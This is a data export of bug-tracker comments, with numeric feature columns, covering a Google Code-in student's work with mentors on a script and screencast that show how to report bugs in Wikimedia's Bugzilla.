259186,Make tutorial video on how to use Bugzilla,*** Bug 58965 has been marked as a duplicate of this bug. ***,,,1389276275,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-gmswkf7wwjtivxzlq3hb,task_subcomment,,True,c1,3,True,,,27,,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,2.7222222222222223,0.7222222222222222,*** Bug 58965 has been marked as a duplicate of this bug. ***
259184,Make tutorial video on how to use Bugzilla,"

(In reply to comment #33)
> That's totally fine. Is the address bar (where the URL is shown) still
> visible?
> I'd say that's preferable to have.
> 
Well, I got that fixed by now, so its not a problem anymore, only the address bar is visible.
But the g-mail will would be appearing, can't fix that.",,,1387984472,,PHID-USER-oyf7m4w6q3dcftbg22jg,False,,,PHID-TASK-gmswkf7wwjtivxzlq3hb,task_subcomment,,True,c1,3,False,,,25,,0.0,0.0,0.0,0.0,4.0,2.0,2.0,0.0,0.0,0.0,2.0,2.0,0.0,2.0,0.0,2.0,0.0,11.0,5.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,4.0,0.0,2.0,0.0,2.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,14.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,5.0,4.0,14.0,0.0,2.0,9.0,0.0,0.0,0.0,2.0,5.0,2.0,2.0,0.0,4.0,5.0,5.0,0.0,0.0,0.0,4.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,2.982456140350877,0.7543859649122807,"

(In reply to comment #33)
QUOTE
QUOTE
QUOTE
QUOTE
Well, I got that fixed by now, so its not a problem anymore, only the address bar is visible.
But the g-mail will would be appearing, can't fix that."
259182,Make tutorial video on how to use Bugzilla,"(In reply to comment #30)
> Hello, I'm a student from GCI, and I've been assigned this task.
> So, about the screencast, I have an idea: how about once the user account has
> been created successfully, I go to http://www.mediawiki.org/wiki/MediaWiki,
> then search for How to report a bug. From there I move to the new guided
> form.

OK

(In reply to comment #32)
> The script tells to go to your e-mail client, and I went to my gmail account
> to get the mail, is that okay?

Let's see how it looks like. The idea about not showing browser/email/OS chrome is to make the video as generic and as brand-free as possible. Don't worry, we can always cut.",,,1387811170,,PHID-USER-lluzkul4z7us4sxkayss,False,,,PHID-TASK-gmswkf7wwjtivxzlq3hb,task_subcomment,,True,c1,3,False,,,25,,0.0,0.0,0.0,0.0,3.0,4.0,1.0,0.0,0.0,0.0,6.0,1.0,0.0,0.0,0.0,1.0,0.0,5.0,13.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,3.0,3.0,1.0,5.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,1.0,3.0,1.0,18.0,1.0,1.0,3.0,0.0,0.0,0.0,3.0,10.0,0.0,3.0,0.0,4.0,13.0,8.0,0.0,0.0,0.0,4.0,0.0,1.0,0.0,0.0,1.0,0.0,0.0,0.0,3.064935064935065,0.6493506493506493,"(In reply to comment #30)
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

OK

(In reply to comment #32)
QUOTE
QUOTE

Let's see how it looks like. The idea about not showing browser/email/OS chrome is to make the video as generic and as brand-free as possible. Don't worry, we can always cut."
259179,Make tutorial video on how to use Bugzilla,"(In reply to comment #31)
> Well, in the video, the windows taskbar or chrome logo is not there but tabs
> are visible, that okay?

That's totally fine. Is the address bar (where the URL is shown) still visible? I'd say that's preferable to have.

(In reply to comment #32)
> The script tells to go to your e-mail client, and I went to my gmail account
> to get the mail, is that okay?

Yes, but if you prefer to not show your real private email address and inbox at that time to the world, you might want to create another email account just for testing and making this video.",,,1387809225,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-gmswkf7wwjtivxzlq3hb,task_subcomment,,True,c1,3,True,,,25,,0.0,0.0,1.0,1.0,1.0,5.0,1.0,0.0,0.0,1.0,2.0,1.0,0.0,0.0,0.0,1.0,0.0,5.0,12.0,0.0,5.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,1.0,1.0,0.0,5.0,2.0,0.0,5.0,3.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,19.0,2.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,1.0,0.0,0.0,0.0,3.0,2.0,12.0,2.0,3.0,9.0,0.0,0.0,0.0,2.0,7.0,0.0,2.0,0.0,4.0,12.0,1.0,1.0,0.0,0.0,4.0,0.0,1.0,0.0,0.0,1.0,0.0,0.0,0.0,3.425531914893617,0.6595744680851063,"(In reply to comment #31)
QUOTE
QUOTE

That's totally fine. Is the address bar (where the URL is shown) still visible? I'd say that's preferable to have.

(In reply to comment #32)
QUOTE
QUOTE

Yes, but if you prefer to not show your real private email address and inbox at that time to the world, you might want to create another email account just for testing and making this video."
259175,Make tutorial video on how to use Bugzilla,"The script tells to go to your e-mail client, and I went to my gmail account to get the mail, is that okay?",,,1387789082,,PHID-USER-oyf7m4w6q3dcftbg22jg,False,,,PHID-TASK-gmswkf7wwjtivxzlq3hb,task_subcomment,,True,c1,3,False,,,25,,0.0,0.0,0.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,14.0,0.0,7.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,29.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,4.0,7.0,0.0,4.0,11.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,11.0,14.0,0.0,4.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0357142857142856,0.8214285714285714,"The script tells to go to your e-mail client, and I went to my gmail account to get the mail, is that okay?"
259168,Make tutorial video on how to use Bugzilla,"Well, in the video, the windows taskbar or chrome logo is not there but tabs are visible, that okay?",,,1387787959,,PHID-USER-oyf7m4w6q3dcftbg22jg,False,,,PHID-TASK-gmswkf7wwjtivxzlq3hb,task_subcomment,,True,c1,3,False,,,25,,0.0,0.0,0.0,0.0,4.0,9.0,4.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,26.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,9.0,4.0,0.0,9.0,9.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.5652173913043477,0.8695652173913043,"Well, in the video, the windows taskbar or chrome logo is not there but tabs are visible, that okay?"
259159,Make tutorial video on how to use Bugzilla,"Hello, I'm a student from GCI, and I've been assigned this task.
So, about the screencast, I have an idea: how about once the user account has been created successfully, I go to http://www.mediawiki.org/wiki/MediaWiki, then search for How to report a bug. From there I move to the new guided form.",,,1387787509,,PHID-USER-oyf7m4w6q3dcftbg22jg,False,,,PHID-TASK-gmswkf7wwjtivxzlq3hb,task_subcomment,,True,c1,3,False,,,25,,0.0,0.0,0.0,3.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,8.0,0.0,10.0,14.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,3.0,17.0,5.0,2.0,11.0,0.0,0.0,0.0,0.0,3.0,2.0,0.0,0.0,8.0,14.0,2.0,0.0,0.0,0.0,8.0,0.0,3.0,5.0,0.0,0.0,0.0,0.0,0.0,3.3492063492063493,0.7301587301587301,"Hello, I'm a student from GCI, and I've been assigned this task.
So, about the screencast, I have an idea: how about once the user account has been created successfully, I go to URL then search for How to report a bug. From there I move to the new guided form."
259150,Make tutorial video on how to use Bugzilla,"Thank you Richard!

The task about writing a script has been completed. I just created the task to produce the screencast:

http://www.google-melange.com/gci/task/view/google/gci2013/5787018130882560",,,1385741411,,PHID-USER-lluzkul4z7us4sxkayss,False,,,PHID-TASK-gmswkf7wwjtivxzlq3hb,task_subcomment,,True,c1,3,False,,,21,,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,7.0,0.0,4.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,19.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,4.0,19.0,0.0,0.0,15.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,0.0,7.0,7.0,4.0,0.0,0.0,0.0,7.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,0.0,4.0,0.8888888888888888,"Thank you Richard!

The task about writing a script has been completed. I just created the task to produce the screencast:

URL"
259143,Make tutorial video on how to use Bugzilla,"**lettrich42** wrote:

Ok, i think its just about there, Did i seem to mention anything
Link for convenience: https://www.mediawiki.org/wiki/User:Richardusername/BugzillaScriptProject",,,1385677331,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-gmswkf7wwjtivxzlq3hb,task_subcomment,,True,c1,3,False,,,21,,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,10.0,7.0,3.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,3.0,7.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,3.0,0.0,0.0,10.0,7.0,3.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.3448275862068964,0.7931034482758621,"**lettrich42** wrote:

Ok, i think its just about there, Did i seem to mention anything
Link for convenience: URL"
259139,Make tutorial video on how to use Bugzilla,"I have given Richard my last round of comments. The script already looks very good. If you have additional feedback don't comment: edit the script directly (""Be bold"").

As soon as this task is completed I will create a new one about creating the screencast.",,,1385604293,,PHID-USER-lluzkul4z7us4sxkayss,False,,,PHID-TASK-gmswkf7wwjtivxzlq3hb,task_subcomment,,True,c1,3,False,,,21,,0.0,0.0,2.0,2.0,2.0,9.0,2.0,0.0,0.0,2.0,4.0,2.0,0.0,0.0,0.0,5.0,0.0,11.0,7.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,9.0,0.0,0.0,4.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,12.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,7.0,4.0,12.0,2.0,0.0,9.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,7.0,7.0,2.0,0.0,4.0,0.0,7.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,3.8392857142857144,0.8571428571428571,"I have given Richard my last round of comments. The script already looks very good. If you have additional feedback don't comment: edit the script directly (""Be bold"").

As soon as this task is completed I will create a new one about creating the screencast."
259134,Make tutorial video on how to use Bugzilla,"Ok Richard, you don't need to get stuck in this discussion about the origin of the link. Whenever someone (you?) creates the screencast we will use an existing entry point in a wiki page (VisualEditor would work, as specified in your script).",,,1385504263,,PHID-USER-lluzkul4z7us4sxkayss,False,,,PHID-TASK-gmswkf7wwjtivxzlq3hb,task_subcomment,,True,c1,3,False,,,21,,0.0,2.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,8.0,2.0,0.0,0.0,0.0,2.0,0.0,4.0,13.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,8.0,2.0,0.0,12.0,0.0,0.0,0.0,0.0,8.0,2.0,0.0,0.0,8.0,13.0,4.0,2.0,0.0,0.0,8.0,0.0,2.0,4.0,0.0,2.0,0.0,0.0,0.0,3.8653846153846154,0.8269230769230769,"Ok Richard, you don't need to get stuck in this discussion about the origin of the link. Whenever someone (you?) creates the screencast we will use an existing entry point in a wiki page (VisualEditor would work, as specified in your script)."
259129,Make tutorial video on how to use Bugzilla,"(In reply to comment #18)
> I'm not sure how to transition from logging in to using the new formatted bug
> submission form, as there seems to be no link from the site homepage.

Uhm. I don't have an easy answer to that either right now. :(

So far I've expected users to follow links on wikipages which point to the ?format=guided form in the URL. 
But as Elitre already wrote: Discussed in bug 57254.",,,1385463812,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-gmswkf7wwjtivxzlq3hb,task_subcomment,,True,c1,3,True,,,21,,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,6.0,3.0,0.0,0.0,0.0,3.0,0.0,11.0,14.0,0.0,3.0,0.0,0.0,2.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,5.0,2.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,2.0,0.0,5.0,0.0,17.0,0.0,2.0,8.0,0.0,0.0,0.0,2.0,5.0,0.0,3.0,0.0,3.0,14.0,5.0,2.0,0.0,0.0,3.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,3.3181818181818183,0.803030303030303,"(In reply to comment #18)
QUOTE
QUOTE

Uhm. I don't have an easy answer to that either right now. :(

So far I've expected users to follow links on wikipages which point to the ?format=guided form in the URL. 
But as Elitre already wrote: Discussed in bug 57254."
259126,Make tutorial video on how to use Bugzilla,"It's a good first draft, but still needs more work. I have left my feedback. Andre and other readers of this report are encouraged to comment there as well.",,,1385445031,,PHID-USER-lluzkul4z7us4sxkayss,False,,,PHID-TASK-gmswkf7wwjtivxzlq3hb,task_subcomment,,True,c1,3,False,,,21,,0.0,0.0,0.0,3.0,0.0,12.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,6.0,0.0,12.0,6.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,3.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,9.0,0.0,6.0,6.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,9.0,6.0,3.0,0.0,0.0,0.0,9.0,0.0,0.0,3.0,0.0,0.0,3.0,0.0,0.0,3.764705882352941,0.9411764705882353,"It's a good first draft, but still needs more work. I have left my feedback. Andre and other readers of this report are encouraged to comment there as well."
259124,Make tutorial video on how to use Bugzilla,"**lettrich42** wrote:

The draft is finished if you're interested. Just going to clean it up and maybe add more details. Link again for CC:https://www.mediawiki.org/wiki/User:Richardusername/BugzillaScriptProject",,,1385427743,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-gmswkf7wwjtivxzlq3hb,task_subcomment,,True,c1,3,False,,,21,,0.0,0.0,0.0,3.0,0.0,6.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,9.0,11.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,3.0,6.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,6.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,14.0,3.0,3.0,3.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,6.0,11.0,3.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,3.4285714285714284,0.8571428571428571,"**lettrich42** wrote:

The draft is finished if you're interested. Just going to clean it up and maybe add more details. Link again for CC:URL"
259121,Make tutorial video on how to use Bugzilla,"**lettrich42** wrote:

Thanks for the video! It was exactly what I was thinking of, except doing this one more to the point. Also this is my main account, was accidentally logged in to wrong one when posting the last one. (I was going through the steps again)  As for the brief sign-up , we can easily remove it if needed, so ill just leave it until final revisions.",,,1385426393,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-gmswkf7wwjtivxzlq3hb,task_subcomment,,True,c1,3,False,,,21,,0.0,0.0,0.0,1.0,0.0,7.0,1.0,0.0,0.0,1.0,2.0,0.0,0.0,0.0,0.0,5.0,0.0,9.0,13.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,1.0,0.0,0.0,1.0,1.0,3.0,1.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,13.0,1.0,1.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,2.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,7.0,3.0,0.0,8.0,0.0,0.0,1.0,0.0,2.0,0.0,2.0,0.0,8.0,13.0,0.0,0.0,0.0,0.0,8.0,0.0,2.0,0.0,0.0,5.0,1.0,0.0,0.0,3.488372093023256,0.7441860465116279,"**lettrich42** wrote:

Thanks for the video! It was exactly what I was thinking of, except doing this one more to the point. Also this is my main account, was accidentally logged in to wrong one when posting the last one. (I was going through the steps again)  As for the brief sign-up , we can easily remove it if needed, so ill just leave it until final revisions."
259117,Make tutorial video on how to use Bugzilla,"Hi Richiell!

Slides vs screencast, this video was well received here. Just in case it serves as source of inspiration: 

> http://blog.johnath.com/2010/02/04/bugzilla-for-humans/

There is another GCI task about title cards for videos, but they are not ready yet. Still, this task is about agreeing on the script, so never mind.

Same for the link to the guided form. You are right, currently there is no way to reach it from Bugzilla itself. However, for your script we can assume that it will be in the home.

About your script, feel free of reusing the very little I could do at https://www.mediawiki.org/wiki/Talk:How_to_report_a_bug#Screencast

I also started thinking of the registration process. Then again, Bugzilla's registration is quite standard, so perhaps it is better to save that time to the viewers of the video and yourself. Mention in the script that users must be registered in order to file bugs, feel free spending 3 seconds to point to the Register link in the home and get directly to the stuff.

This means that the beef of your script is ""Examples"".  :) 

Sorry for not reaching to this conclusion before! Your draft helped reaching to this conclusion. This is how iterations work...",,,1385425713,,PHID-USER-lluzkul4z7us4sxkayss,False,,,PHID-TASK-gmswkf7wwjtivxzlq3hb,task_subcomment,,True,c1,3,False,,,21,,0.0,0.0,0.3333333333333333,0.6666666666666666,0.6666666666666666,2.6666666666666665,2.0,0.0,0.0,0.0,2.6666666666666665,0.0,0.0,0.0,0.6666666666666666,1.0,0.0,7.0,12.666666666666666,0.0,1.6666666666666667,0.3333333333333333,0.0,0.0,1.0,0.0,0.0,0.0,0.6666666666666666,0.3333333333333333,0.0,5.0,2.0,1.6666666666666667,0.6666666666666666,2.3333333333333335,0.0,0.0,0.0,0.6666666666666666,0.3333333333333333,0.3333333333333333,0.3333333333333333,2.3333333333333335,0.0,0.6666666666666666,0.3333333333333333,0.0,0.6666666666666666,13.0,1.0,2.0,0.0,0.3333333333333333,0.0,0.0,0.0,0.0,0.0,0.0,0.3333333333333333,0.3333333333333333,0.0,0.0,0.3333333333333333,0.0,0.0,4.666666666666667,4.333333333333333,9.0,1.6666666666666667,1.0,8.333333333333334,0.0,0.3333333333333333,0.6666666666666666,0.0,3.6666666666666665,0.6666666666666666,0.3333333333333333,0.0,5.333333333333333,12.666666666666666,2.6666666666666665,0.0,1.0,0.0,5.333333333333333,0.0,1.0,0.0,0.6666666666666666,2.0,0.3333333333333333,0.0,0.0,3.8632478632478633,0.7222222222222223,"Hi Richiell!

Slides vs screencast, this video was well received here. Just in case it serves as source of inspiration: 

QUOTE

There is another GCI task about title cards for videos, but they are not ready yet. Still, this task is about agreeing on the script, so never mind.

Same for the link to the guided form. You are right, currently there is no way to reach it from Bugzilla itself. However, for your script we can assume that it will be in the home.

About your script, feel free of reusing the very little I could do at URL

I also started thinking of the registration process. Then again, Bugzilla's registration is quite standard, so perhaps it is better to save that time to the viewers of the video and yourself. Mention in the script that users must be registered in order to file bugs, feel free spending 3 seconds to point to the Register link in the home and get directly to the stuff.

This means that the beef of your script is ""Examples"".  :) 

Sorry for not reaching to this conclusion before! Your draft helped reaching to this conclusion. This is how iterations work..."
259112,Make tutorial video on how to use Bugzilla,"**richiell** wrote:

Ive made a little bit of progress on the script, here's the link if anyone wants to follow it: https://www.mediawiki.org/wiki/User:Richardusername/BugzillaScriptProject",,,1385421755,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-gmswkf7wwjtivxzlq3hb,task_subcomment,,True,c1,3,False,,,21,,0.0,3.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,12.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,22.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,6.0,3.0,0.0,9.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,6.0,12.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.09375,0.84375,"**richiell** wrote:

Ive made a little bit of progress on the script, here's the link if anyone wants to follow it: URL"
259106,Make tutorial video on how to use Bugzilla,"Hear, hear! Bug 57254.",,,1385418631,,PHID-USER-wil4b5lylrvf3krixlkl,False,,,PHID-TASK-gmswkf7wwjtivxzlq3hb,task_subcomment,,True,c1,3,False,,,21,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,29.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,29.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,29.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.7142857142857144,1.0,"Hear, hear! Bug 57254."
259098,Make tutorial video on how to use Bugzilla,"**lettrich42** wrote:

I'm not sure how to transition from logging in to using the new formatted bug submission form, as there seems to be no link from the site homepage.",,,1385418288,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-gmswkf7wwjtivxzlq3hb,task_subcomment,,True,c1,3,False,,,21,,0.0,0.0,0.0,0.0,3.0,5.0,3.0,0.0,0.0,0.0,5.0,3.0,0.0,0.0,3.0,3.0,0.0,5.0,18.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,3.0,3.0,3.0,0.0,8.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,3.0,18.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,5.0,0.0,0.0,0.0,3.641025641025641,0.8205128205128205,"**lettrich42** wrote:

I'm not sure how to transition from logging in to using the new formatted bug submission form, as there seems to be no link from the site homepage."
259090,Make tutorial video on how to use Bugzilla,":) I wouldn't like to see slides in the video, but hey, that's just me. Let's see what Andre thinks, since he rules over Bugzilla here!",,,1385417958,,PHID-USER-wil4b5lylrvf3krixlkl,False,,,PHID-TASK-gmswkf7wwjtivxzlq3hb,task_subcomment,,True,c1,3,False,,,21,,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,6.0,0.0,9.0,12.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,9.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,12.0,3.0,3.0,6.0,0.0,3.0,3.0,0.0,12.0,3.0,0.0,0.0,12.0,12.0,6.0,0.0,0.0,0.0,12.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,3.235294117647059,0.8823529411764706,":) I wouldn't like to see slides in the video, but hey, that's just me. Let's see what Andre thinks, since he rules over Bugzilla here!"
259083,Make tutorial video on how to use Bugzilla,"**lettrich42** wrote:

(In reply to comment #15)
*or girls",,,1385416581,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-gmswkf7wwjtivxzlq3hb,task_subcomment,,True,c1,3,False,,,21,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,0.0,0.0,5.0,5.0,0.0,5.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.6,0.8,"**lettrich42** wrote:

(In reply to comment #15)
*or girls"
259075,Make tutorial video on how to use Bugzilla,"**lettrich42** wrote:

